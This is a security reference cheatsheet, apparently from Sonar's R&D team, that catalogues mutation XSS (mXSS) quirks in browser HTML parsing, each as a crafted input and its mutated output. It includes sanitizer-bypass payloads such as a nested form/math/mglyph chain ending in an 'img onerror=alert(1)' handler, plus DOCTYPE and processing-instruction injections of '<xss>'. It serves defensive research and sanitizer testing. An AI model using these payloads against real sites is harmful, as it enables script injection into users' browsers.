This cheatsheet is your one-stop shop for diving deep into the fascinating world of mXSS (mutations caused by browser quirks in HTML parsing). Forget sifting through the official 1500~ page spec – here’s a curated list of examples that showcase these unexpected behaviors.
What’s in it for you?
If you would like to know more on this topic, you can visit:
Contributing
Contributions to this list are very welcome. Feel free to open issues on the repository if you would like to see more information on a specific topic, or a pull request if you are already aware of additional information. Links to public write-ups are appreciated when adding info.
The project is maintained by the Sonar R&D team. Find XSS in your code (and much more) with SonarCloud, free for open-source projects!
<select><a>
→ <select>
<select>
, <input>
, <keygen>
and <textarea>
: <select><style><input><a>
→ <select></select><input><a></a>
<form id=form1>INSIDE_FORM1<form id=form2>INSIDE_FORM2
→ <form id="form1">INSIDE_FORM1 INSIDE_FORM2</form>
<form id="outer"><div></form><form id="inner"><input>
→ <form id="outer"><div><form id="inner"><input></form></div></form>
→ <form id="outer"><div><input></div></form>
<form id="outer"><math><mtext></form><form id="inner"><mglyph><svg><mtext><form id="outer"><mi></form><form id="inner"><mglyph><desc><xmp><img src=x onerror=alert(1)>
<table><a>
→ <a></a><table></table>
<p><table><xmp>
→ <p><xmp></xmp><table></table></p>
→ <p></p><xmp></xmp><table></table>
<a><mglyph><table><a>
→ <a><mglyph><a></a><table></table></mglyph></a>
→ <a><mglyph></mglyph><a></a><table></table></a>
<p><table><ul>
→ <p><ul></ul><table></table></p>
→ <p></p><ul></ul><table></table><p></p>
tbody
, tr
,and td
will be removed outside of the table
<a id=1><table><a id=2>
→ <a id="1"><a id="2"></a><table></table></a>
→ <a id="1"></a><a id="2"></a><table></table>
<a id=1><audio>aa<altglyphdef><animatecolor><filter><fieldset><a id=2></fieldset></a>
<h1><h2>
→ <h1></h1><h2></h2>
<h1><a><h2></a>
→ <h1><a></a><h2><a></a></h2></h1>
→ <h1><a></a></h1><h2><a></a></h2>
<noscript><a>
→ <noscript><a></noscript>
<noscript><a>
→ <noscript><a></a></noscript>
</p>
→ <p></p>
p
element: address
, article
, aside
, blockquote
, center
, details
, dialog
, dir
, div
, dl
, fieldset
, figcaption
, figure
, footer
, header
, hgroup
, main
, menu
, nav
, ol
, p
, search
, section
, summary
, ul
, pre
, listing
, plaintext
plaintext
can’t be closed in HTML namespace but <table><plaintext><a>
→ <plaintext><a></plaintext><table></table>
table will execute
<textarea><!-- test ->
→ <textarea> <!--test--></textarea>
a
, b
, big
, code
, em
, font
, i
, nobr
, s
, small
, strike
, strong
, tt
, and u
<li><a><table><li>t
→ <li><a><li>t</li><table></table></a></li>
→ <li><a></a></li><li><a>t</a></li><table></table>
NULL byte
a=new window.DOMParser().parseFromString(`<a\x00 id="test">`,"text/html");
a.querySelector(`#test`).tagName.substr(1).charCodeAt() == 65533;
>>> true
is attribute
a=new DOMParser().parseFromString('<a is="to-delete">', "text/html");
a.body.firstChild.removeAttribute("is");
a.getRootNode().body.firstChild;
>>> <a>​</a>​
a.getRootNode().body.firstChild.outerHTML;
>>> '<a is="to-delete"></a>'
HTML integration points
foreignObject
, desc
, and title
elementsimage element
image
is allowed in svg
but in HTML it will change to img
, which is a foreign content breakerHTML integration points
mi
, mo
, mn
, ms
, and mtext
elementsannotation-xml element
annotation-xml
, or in an HTML integration point: <math><annotation-xml><svg>
But not <math><annotation-xml><x><svg>
encoding
attribute is set to text/html
mglyph
/malignmark
elements
mglyph
or malignmark
tags is a direct descendant of HTML integration point, the element (and its descendant) will be in MATHML namespaceThe following tags
b
, big
, blockquote
, body
, br
, center
, code
, dd
, div
, dl
, dt
, em
, embed
, h1
, h2
, h3
, h4
, h5
, h6
, head
, hr
, i
, img
, li
, listing
, menu
, meta
, nobr
, ol
, p
, pre
, ruby
, s
, small
, span
, strong
, strike
, sub
, sup
, table
, tt
, u
, ul
, var
The font
element
color
, face
, or size
The head
and body
element
<svg><body><a>
→ <svg></svg><a></a>
Document fragment parsing
innerHTML
, insertAdjacentHTML
, etc.iframe
’s srcdoc, document rendering<svg><div>
→ <svg><div></div></svg>
(not only div
but rather all breaking foreign content elements)<svg><div>
→ <svg></svg><div></div>
(same expected)RCDATA/RAWTEXT elements
<noframes><style></noframes><xss></style></noframes>
Comments
—>
. On the other hand, the HTML specification states that a comment’s text “must not start with the string >
, nor start with the string ->
”.
Input: <!--><p>
HTML5 output: <!----><p></p>
HTML4 output: <!--><p>-->
This can be done with either <!-->
or <!--->
.
Foreign content elements
DOCTYPE element
!DOCTYPE
element in XML/XHTML is more complex allowing more characters and element nesting than in HTML5. In contrast, the HTML doctype ends with the first occurrence of the “greater than” sign >
.
The following payload can be used if the parser doesn’t follow HTML5’s DOCTYPE rules:
<!DOCTYPE HTML PUBLIC "-//W3C//DTDHTML4.01//EN" "><xss>">
<!DOCTYPE HTML SYSTEM "><xss>">
Element name starting with underscrool
Input: <p><_test>/<p>
HTML output: <p><_test/>/<p>
XML output: <p><_test/>/<p>
Processing instruction
?
follows an open tag chr <
. The following payload can be used: <?x --><xss> ?>
if the sanitizer accepts PI.In the content of noscript
In the content of style
only in svg
/mathML
namespaces
Integration points: HTML Standard
Breaking foreign content tags: HTML Standard
RCDATA/RAWTEXT elements: HTML Standard
Serializing HTML fragments: HTML Standard
Element types: HTML Standard